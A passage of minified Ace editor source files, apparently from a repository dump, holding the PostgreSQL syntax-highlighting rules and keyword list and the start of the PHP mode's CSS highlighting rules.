mic_to_win866|min|mktinterval|mod|money|mul_d_interval|name|nameeq|namege|namegt|nameiclike|nameicnlike|nameicregexeq|nameicregexne|namein|namele|namelike|namelt|namene|namenlike|nameout|namerecv|nameregexeq|nameregexne|namesend|neqjoinsel|neqsel|netmask|network|network_cmp|network_eq|network_ge|network_gt|network_le|network_lt|network_ne|network_sub|network_subeq|network_sup|network_supeq|nextval|nlikejoinsel|nlikesel|notlike|now|npoints|nth_value|ntile|numeric_abs|numeric_accum|numeric_add|numeric_avg|numeric_avg_accum|numeric_cmp|numeric_div|numeric_div_trunc|numeric_eq|numeric_exp|numeric_fac|numeric_ge|numeric_gt|numeric_in|numeric_inc|numeric_larger|numeric_le|numeric_ln|numeric_log|numeric_lt|numeric_mod|numeric_mul|numeric_ne|numeric_out|numeric_power|numeric_recv|numeric_send|numeric_smaller|numeric_sqrt|numeric_stddev_pop|numeric_stddev_samp|numeric_sub|numeric_transform|numeric_uminus|numeric_uplus|numeric_var_pop|numeric_var_samp|numerictypmodin|numerictypmodout|numnode|numrange|numrange_subdiff|obj_description|octet_length|oid|oideq|oidge|oidgt|oidin|oidlarger|oidle|oidlt|oidne|oidout|oidrecv|oidsend|oidsmaller|oidvectoreq|oidvectorge|oidvectorgt|oidvectorin|oidvectorle|oidvectorlt|oidvectorne|oidvectorout|oidvectorrecv|oidvectorsend|oidvectortypes|on_pb|on_pl|on_ppath|on_ps|on_sb|on_sl|opaque_in|opaque_out|overlaps|overlay|path|path_add|path_add_pt|path_center|path_contain_pt|path_distance|path_div_pt|path_in|path_inter|path_length|path_mul_pt|path_n_eq|path_n_ge|path_n_gt|path_n_le|path_n_lt|path_npoints|path_out|path_recv|path_send|path_sub_pt|pclose|percent_rank|pg_advisory_lock|pg_advisory_lock_shared|pg_advisory_unlock|pg_advisory_unlock_all|pg_advisory_unlock_shared|pg_advisory_xact_lock|pg_advisory_xact_lock_shared|pg_available_extension_versions|pg_available_extensions|pg_backend_pid|pg_backup_start_time|pg_cancel_backend|pg_char_to_encoding|pg_client_encoding|pg_collation_for|pg_collation_is_visible|pg_column_is_updatable|pg_column_size|pg_conf_load_time|pg_conversion_is_visible|pg_create_restore_point|pg_current_xlog_insert_location|pg_current_xlog_location|pg_cursor|pg_database_size|pg_describe_object|pg_encoding_max_length|pg_encoding_to_char|pg_event_trigger_dropped_objects|pg_export_snapshot|pg_extension_config_dump|pg_extension_update_paths|pg_function_is_visible|pg_get_constraintdef|pg_get_expr|pg_get_function_arguments|pg_get_function_identity_arguments|pg_get_function_result|pg_get_functiondef|pg_get_indexdef|pg_get_keywords|pg_get_multixact_members|pg_get_ruledef|pg_get_serial_sequence|pg_get_triggerdef|pg_get_userbyid|pg_get_viewdef|pg_has_role|pg_identify_object|pg_indexes_size|pg_is_in_backup|pg_is_in_recovery|pg_is_other_temp_schema|pg_is_xlog_replay_paused|pg_last_xact_replay_timestamp|pg_last_xlog_receive_location|pg_last_xlog_replay_location|pg_listening_channels|pg_lock_status|pg_ls_dir|pg_my_temp_schema|pg_node_tree_in|pg_node_tree_out|pg_node_tree_recv|pg_node_tree_send|pg_notify|pg_opclass_is_visible|pg_operator_is_visible|pg_opfamily_is_visible|pg_options_to_table|pg_postmaster_start_time|pg_prepared_statement|pg_prepared_xact|pg_read_binary_file|pg_read_file|pg_relation_filenode|pg_relation_filepath|pg_relation_is_updatable|pg_relation_size|pg_reload_conf|pg_rotate_logfile|pg_sequence_parameters|pg_show_all_settings|pg_size_pretty|pg_sleep|pg_start_backup|pg_stat_clear_snapshot|pg_stat_file|pg_stat_get_activity|pg_stat_get_analyze_count|pg_stat_get_autoanalyze_count|pg_stat_get_autovacuum_count|pg_stat_get_backend_activity|pg_stat_get_backend_activity_start|pg_stat_get_backend_client_addr|pg_stat_get_backend_client_port|pg_stat_get_backend_dbid|pg_stat_get_backend_idset|pg_stat_get_backend_pid|pg_stat_get_backend_start|pg_stat_get_backend_userid|pg_stat_get_backend_waiting|pg_stat_get_backend_xact_start|pg_stat_get_bgwriter_buf_written_checkpoints|pg_stat_get_bgwriter_buf_written_clean|pg_stat_get_bgwriter_maxwritten_clean|pg_stat_get_bgwriter_requested_checkpoints|pg_stat_get_bgwriter_stat_reset_time|pg_stat_get_bgwriter_timed_checkpoints|pg_stat_get_blocks_fetched|pg_stat_get_blocks_hit|pg_stat_get_buf_alloc|pg_stat_get_buf_fsync_backend|pg_stat_get_buf_written_backend|pg_stat_get_checkpoint_sync_time|pg_stat_get_checkpoint_write_time|pg_stat_get_db_blk_read_time|pg_stat_get_db_blk_write_time|pg_stat_get_db_blocks_fetched|pg_stat_get_db_blocks_hit|pg_stat_get_db_conflict_all|pg_stat_get_db_conflict_bufferpin|pg_stat_get_db_conflict_lock|pg_stat_get_db_conflict_snapshot|pg_stat_get_db_conflict_startup_deadlock|pg_stat_get_db_conflict_tablespace|pg_stat_get_db_deadlocks|pg_stat_get_db_numbackends|pg_stat_get_db_stat_reset_time|pg_stat_get_db_temp_bytes|pg_stat_get_db_temp_files|pg_stat_get_db_tuples_deleted|pg_stat_get_db_tuples_fetched|pg_stat_get_db_tuples_inserted|pg_stat_get_db_tuples_returned|pg_stat_get_db_tuples_updated|pg_stat_get_db_xact_commit|pg_stat_get_db_xact_rollback|pg_stat_get_dead_tuples|pg_stat_get_function_calls|pg_stat_get_function_self_time|pg_stat_get_function_total_time|pg_stat_get_last_analyze_time|pg_stat_get_last_autoanalyze_time|pg_stat_get_last_autovacuum_time|pg_stat_get_last_vacuum_time|pg_stat_get_live_tuples|pg_stat_get_numscans|pg_stat_get_tuples_deleted|pg_stat_get_tuples_fetched|pg_stat_get_tuples_hot_updated|pg_stat_get_tuples_inserted|pg_stat_get_tuples_returned|pg_stat_get_tuples_updated|pg_stat_get_vacuum_count|pg_stat_get_wal_senders|pg_stat_get_xact_blocks_fetched|pg_stat_get_xact_blocks_hit|pg_stat_get_xact_function_calls|pg_stat_get_xact_function_self_time|pg_stat_get_xact_function_total_time|pg_stat_get_xact_numscans|pg_stat_get_xact_tuples_deleted|pg_stat_get_xact_tuples_fetched|pg_stat_get_xact_tuples_hot_updated|pg_stat_get_xact_tuples_inserted|pg_stat_get_xact_tuples_returned|pg_stat_get_xact_tuples_updated|pg_stat_reset|pg_stat_reset_shared|pg_stat_reset_single_function_counters|pg_stat_reset_single_table_counters|pg_stop_backup|pg_switch_xlog|pg_table_is_visible|pg_table_size|pg_tablespace_databases|pg_tablespace_location|pg_tablespace_size|pg_terminate_backend|pg_timezone_abbrevs|pg_timezone_names|pg_total_relation_size|pg_trigger_depth|pg_try_advisory_lock|pg_try_advisory_lock_shared|pg_try_advisory_xact_lock|pg_try_advisory_xact_lock_shared|pg_ts_config_is_visible|pg_ts_dict_is_visible|pg_ts_parser_is_visible|pg_ts_template_is_visible|pg_type_is_visible|pg_typeof|pg_xlog_location_diff|pg_xlog_replay_pause|pg_xlog_replay_resume|pg_xlogfile_name|pg_xlogfile_name_offset|pi|plainto_tsquery|plpgsql_call_handler|plpgsql_inline_handler|plpgsql_validator|point|point_above|point_add|point_below|point_distance|point_div|point_eq|point_horiz|point_in|point_left|point_mul|point_ne|point_out|point_recv|point_right|point_send|point_sub|point_vert|poly_above|poly_below|poly_center|poly_contain|poly_contain_pt|poly_contained|poly_distance|poly_in|poly_left|poly_npoints|poly_out|poly_overabove|poly_overbelow|poly_overlap|poly_overleft|poly_overright|poly_recv|poly_right|poly_same|poly_send|polygon|popen|position|positionjoinsel|positionsel|postgresql_fdw_validator|pow|power|prsd_end|prsd_headline|prsd_lextype|prsd_nexttoken|prsd_start|pt_contained_circle|pt_contained_poly|query_to_xml|query_to_xml_and_xmlschema|query_to_xmlschema|querytree|quote_ident|quote_literal|quote_nullable|radians|radius|random|range_adjacent|range_after|range_before|range_cmp|range_contained_by|range_contains|range_contains_elem|range_eq|range_ge|range_gist_compress|range_gist_consistent|range_gist_decompress|range_gist_penalty|range_gist_picksplit|range_gist_same|range_gist_union|range_gt|range_in|range_intersect|range_le|range_lt|range_minus|range_ne|range_out|range_overlaps|range_overleft|range_overright|range_recv|range_send|range_typanalyze|range_union|rangesel|rank|record_eq|record_ge|record_gt|record_in|record_le|record_lt|record_ne|record_out|record_recv|record_send|regclass|regclassin|regclassout|regclassrecv|regclasssend|regconfigin|regconfigout|regconfigrecv|regconfigsend|regdictionaryin|regdictionaryout|regdictionaryrecv|regdictionarysend|regexeqjoinsel|regexeqsel|regexnejoinsel|regexnesel|regexp_matches|regexp_replace|regexp_split_to_array|regexp_split_to_table|regoperatorin|regoperatorout|regoperatorrecv|regoperatorsend|regoperin|regoperout|regoperrecv|regopersend|regprocedurein|regprocedureout|regprocedurerecv|regproceduresend|regprocin|regprocout|regprocrecv|regprocsend|regr_avgx|regr_avgy|regr_count|regr_intercept|regr_r2|regr_slope|regr_sxx|regr_sxy|regr_syy|regtypein|regtypeout|regtyperecv|regtypesend|reltime|reltimeeq|reltimege|reltimegt|reltimein|reltimele|reltimelt|reltimene|reltimeout|reltimerecv|reltimesend|repeat|replace|reverse|right|round|row_number|row_to_json|rpad|rtrim|scalargtjoinsel|scalargtsel|scalarltjoinsel|scalarltsel|schema_to_xml|schema_to_xml_and_xmlschema|schema_to_xmlschema|session_user|set_bit|set_byte|set_config|set_masklen|setseed|setval|setweight|shell_in|shell_out|shift_jis_2004_to_euc_jis_2004|shift_jis_2004_to_utf8|shobj_description|sign|similar_escape|sin|sjis_to_euc_jp|sjis_to_mic|sjis_to_utf8|slope|smgreq|smgrin|smgrne|smgrout|spg_kd_choose|spg_kd_config|spg_kd_inner_consistent|spg_kd_picksplit|spg_quad_choose|spg_quad_config|spg_quad_inner_consistent|spg_quad_leaf_consistent|spg_quad_picksplit|spg_range_quad_choose|spg_range_quad_config|spg_range_quad_inner_consistent|spg_range_quad_leaf_consistent|spg_range_quad_picksplit|spg_text_choose|spg_text_config|spg_text_inner_consistent|spg_text_leaf_consistent|spg_text_picksplit|spgbeginscan|spgbuild|spgbuildempty|spgbulkdelete|spgcanreturn|spgcostestimate|spgendscan|spggetbitmap|spggettuple|spginsert|spgmarkpos|spgoptions|spgrescan|spgrestrpos|spgvacuumcleanup|split_part|sqrt|statement_timestamp|stddev|stddev_pop|stddev_samp|string_agg|string_agg_finalfn|string_agg_transfn|string_to_array|strip|strpos|substr|substring|sum|suppress_redundant_updates_trigger|table_to_xml|table_to_xml_and_xmlschema|table_to_xmlschema|tan|text|text_ge|text_gt|text_larger|text_le|text_lt|text_pattern_ge|text_pattern_gt|text_pattern_le|text_pattern_lt|text_smaller|textanycat|textcat|texteq|texticlike|texticnlike|texticregexeq|texticregexne|textin|textlen|textlike|textne|textnlike|textout|textrecv|textregexeq|textregexne|textsend|thesaurus_init|thesaurus_lexize|tideq|tidge|tidgt|tidin|tidlarger|tidle|tidlt|tidne|tidout|tidrecv|tidsend|tidsmaller|time_cmp|time_eq|time_ge|time_gt|time_hash|time_in|time_larger|time_le|time_lt|time_mi_interval|time_mi_time|time_ne|time_out|time_pl_interval|time_recv|time_send|time_smaller|time_transform|timedate_pl|timemi|timenow|timeofday|timepl|timestamp_cmp|timestamp_cmp_date|timestamp_cmp_timestamptz|timestamp_eq|timestamp_eq_date|timestamp_eq_timestamptz|timestamp_ge|timestamp_ge_date|timestamp_ge_timestamptz|timestamp_gt|timestamp_gt_date|timestamp_gt_timestamptz|timestamp_hash|timestamp_in|timestamp_larger|timestamp_le|timestamp_le_date|timestamp_le_timestamptz|timestamp_lt|timestamp_lt_date|timestamp_lt_timestamptz|timestamp_mi|timestamp_mi_interval|timestamp_ne|timestamp_ne_date|timestamp_ne_timestamptz|timestamp_out|timestamp_pl_interval|timestamp_recv|timestamp_send|timestamp_smaller|timestamp_sortsupport|timestamp_transform|timestamptypmodin|timestamptypmodout|timestamptz_cmp|timestamptz_cmp_date|timestamptz_cmp_timestamp|timestamptz_eq|timestamptz_eq_date|timestamptz_eq_timestamp|timestamptz_ge|timestamptz_ge_date|timestamptz_ge_timestamp|timestamptz_gt|timestamptz_gt_date|timestamptz_gt_timestamp|timestamptz_in|timestamptz_larger|timestamptz_le|timestamptz_le_date|timestamptz_le_timestamp|timestamptz_lt|timestamptz_lt_date|timestamptz_lt_timestamp|timestamptz_mi|timestamptz_mi_interval|timestamptz_ne|timestamptz_ne_date|timestamptz_ne_timestamp|timestamptz_out|timestamptz_pl_interval|timestamptz_recv|timestamptz_send|timestamptz_smaller|timestamptztypmodin|timestamptztypmodout|timetypmodin|timetypmodout|timetz_cmp|timetz_eq|timetz_ge|timetz_gt|timetz_hash|timetz_in|timetz_larger|timetz_le|timetz_lt|timetz_mi_interval|timetz_ne|timetz_out|timetz_pl_interval|timetz_recv|timetz_send|timetz_smaller|timetzdate_pl|timetztypmodin|timetztypmodout|timezone|tinterval|tintervalct|tintervalend|tintervaleq|tintervalge|tintervalgt|tintervalin|tintervalle|tintervalleneq|tintervallenge|tintervallengt|tintervallenle|tintervallenlt|tintervallenne|tintervallt|tintervalne|tintervalout|tintervalov|tintervalrecv|tintervalrel|tintervalsame|tintervalsend|tintervalstart|to_ascii|to_char|to_date|to_hex|to_json|to_number|to_timestamp|to_tsquery|to_tsvector|transaction_timestamp|translate|trigger_in|trigger_out|trunc|ts_debug|ts_headline|ts_lexize|ts_match_qv|ts_match_tq|ts_match_tt|ts_match_vq|ts_parse|ts_rank|ts_rank_cd|ts_rewrite|ts_stat|ts_token_type|ts_typanalyze|tsmatchjoinsel|tsmatchsel|tsq_mcontained|tsq_mcontains|tsquery_and|tsquery_cmp|tsquery_eq|tsquery_ge|tsquery_gt|tsquery_le|tsquery_lt|tsquery_ne|tsquery_not|tsquery_or|tsqueryin|tsqueryout|tsqueryrecv|tsquerysend|tsrange|tsrange_subdiff|tstzrange|tstzrange_subdiff|tsvector_cmp|tsvector_concat|tsvector_eq|tsvector_ge|tsvector_gt|tsvector_le|tsvector_lt|tsvector_ne|tsvector_update_trigger|tsvector_update_trigger_column|tsvectorin|tsvectorout|tsvectorrecv|tsvectorsend|txid_current|txid_current_snapshot|txid_snapshot_in|txid_snapshot_out|txid_snapshot_recv|txid_snapshot_send|txid_snapshot_xip|txid_snapshot_xmax|txid_snapshot_xmin|txid_visible_in_snapshot|uhc_to_utf8|unique_key_recheck|unknownin|unknownout|unknownrecv|unknownsend|unnest|upper|upper_inc|upper_inf|utf8_to_ascii|utf8_to_big5|utf8_to_euc_cn|utf8_to_euc_jis_2004|utf8_to_euc_jp|utf8_to_euc_kr|utf8_to_euc_tw|utf8_to_gb18030|utf8_to_gbk|utf8_to_iso8859|utf8_to_iso8859_1|utf8_to_johab|utf8_to_koi8r|utf8_to_koi8u|utf8_to_shift_jis_2004|utf8_to_sjis|utf8_to_uhc|utf8_to_win|uuid_cmp|uuid_eq|uuid_ge|uuid_gt|uuid_hash|uuid_in|uuid_le|uuid_lt|uuid_ne|uuid_out|uuid_recv|uuid_send|var_pop|var_samp|varbit_in|varbit_out|varbit_recv|varbit_send|varbit_transform|varbitcmp|varbiteq|varbitge|varbitgt|varbitle|varbitlt|varbitne|varbittypmodin|varbittypmodout|varchar_transform|varcharin|varcharout|varcharrecv|varcharsend|varchartypmodin|varchartypmodout|variance|version|void_in|void_out|void_recv|void_send|width|width_bucket|win1250_to_latin2|win1250_to_mic|win1251_to_iso|win1251_to_koi8r|win1251_to_mic|win1251_to_win866|win866_to_iso|win866_to_koi8r|win866_to_mic|win866_to_win1251|win_to_utf8|xideq|xideqint4|xidin|xidout|xidrecv|xidsend|xml|xml_in|xml_is_well_formed|xml_is_well_formed_content|xml_is_well_formed_document|xml_out|xml_recv|xml_send|xmlagg|xmlcomment|xmlconcat2|xmlexists|xmlvalidate|xpath|xpath_exists\",n=this.createKeywordMapper({\"support.function\":t,keyword:e},\"identifier\",!0),r=[{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"variable.language\",regex:'\".*?\"'},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:n,regex:\"[a-zA-Z_][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|!!|!~|!~\\\\*|!~~|!~~\\\\*|#|##|#<|#<=|#<>|#=|#>|#>=|%|\\\\&|\\\\&\\\\&|\\\\&<|\\\\&<\\\\||\\\\&>|\\\\*|\\\\+|\\\\-|/|<|<#>|<\\\\->|<<|<<=|<<\\\\||<=|<>|<\\\\?>|<@|<\\\\^|=|>|>=|>>|>>=|>\\\\^|\\\\?#|\\\\?\\\\-|\\\\?\\\\-\\\\||\\\\?\\\\||\\\\?\\\\|\\\\||@|@\\\\-@|@>|@@|@@@|\\\\^|\\\\||\\\\|\\\\&>|\\\\|/|\\\\|>>|\\\\|\\\\||\\\\|\\\\|/|~|~\\\\*|~<=~|~<~|~=|~>=~|~>~|~~|~~\\\\*\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}];this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},s.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"keyword.statementBegin\",regex:\"^[a-zA-Z]+\",next:\"statement\"},{token:\"support.buildin\",regex:\"^\\\\\\\\[\\\\S]+.*$\"}],statement:[{token:\"comment\",regex:\"--.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"commentStatement\"},{token:\"statementEnd\",regex:\";\",next:\"start\"},{token:\"string\",regex:\"\\\\$perl\\\\$\",next:\"perl-start\"},{token:\"string\",regex:\"\\\\$python\\\\$\",next:\"python-start\"},{token:\"string\",regex:\"\\\\$json\\\\$\",next:\"json-start\"},{token:\"string\",regex:\"\\\\$(js|javascript)\\\\$\",next:\"javascript-start\"},{token:\"string\",regex:\"\\\\$[\\\\w_0-9]*\\\\$$\",next:\"dollarSql\"},{token:\"string\",regex:\"\\\\$[\\\\w_0-9]*\\\\$\",next:\"dollarStatementString\"}].concat(r),dollarSql:[{token:\"comment\",regex:\"--.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"commentDollarSql\"},{token:\"string\",regex:\"^\\\\$[\\\\w_0-9]*\\\\$\",next:\"statement\"},{token:\"string\",regex:\"\\\\$[\\\\w_0-9]*\\\\$\",next:\"dollarSqlString\"}].concat(r),comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],commentStatement:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"statement\"},{token:\"comment\",regex:\".+\"}],commentDollarSql:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"dollarSql\"},{token:\"comment\",regex:\".+\"}],dollarStatementString:[{token:\"string\",regex:\".*?\\\\$[\\\\w_0-9]*\\\\$\",next:\"statement\"},{token:\"string\",regex:\".+\"}],dollarSqlString:[{token:\"string\",regex:\".*?\\\\$[\\\\w_0-9]*\\\\$\",next:\"dollarSql\"},{token:\"string\",regex:\".+\"}]},this.embedRules(s,\"doc-\",[s.getEndRule(\"start\")]),this.embedRules(u,\"perl-\",[{token:\"string\",regex:\"\\\\$perl\\\\$\",next:\"statement\"}]),this.embedRules(a,\"python-\",[{token:\"string\",regex:\"\\\\$python\\\\$\",next:\"statement\"}]),this.embedRules(f,\"json-\",[{token:\"string\",regex:\"\\\\$json\\\\$\",next:\"statement\"}]),this.embedRules(l,\"javascript-\",[{token:\"string\",regex:\"\\\\$(js|javascript)\\\\$\",next:\"statement\"}])};r.inherits(c,o),t.PgsqlHighlightRules=c}),ace.define(\"ace/mode/pgsql\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/pgsql_highlight_rules\",\"ace/range\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../mode/text\").Mode,s=e(\"./pgsql_highlight_rules\").PgsqlHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){return e==\"start\"||e==\"keyword.statementEnd\"?\"\":this.$getIndent(t)},this.$id=\"ace/mode/pgsql\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-php.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\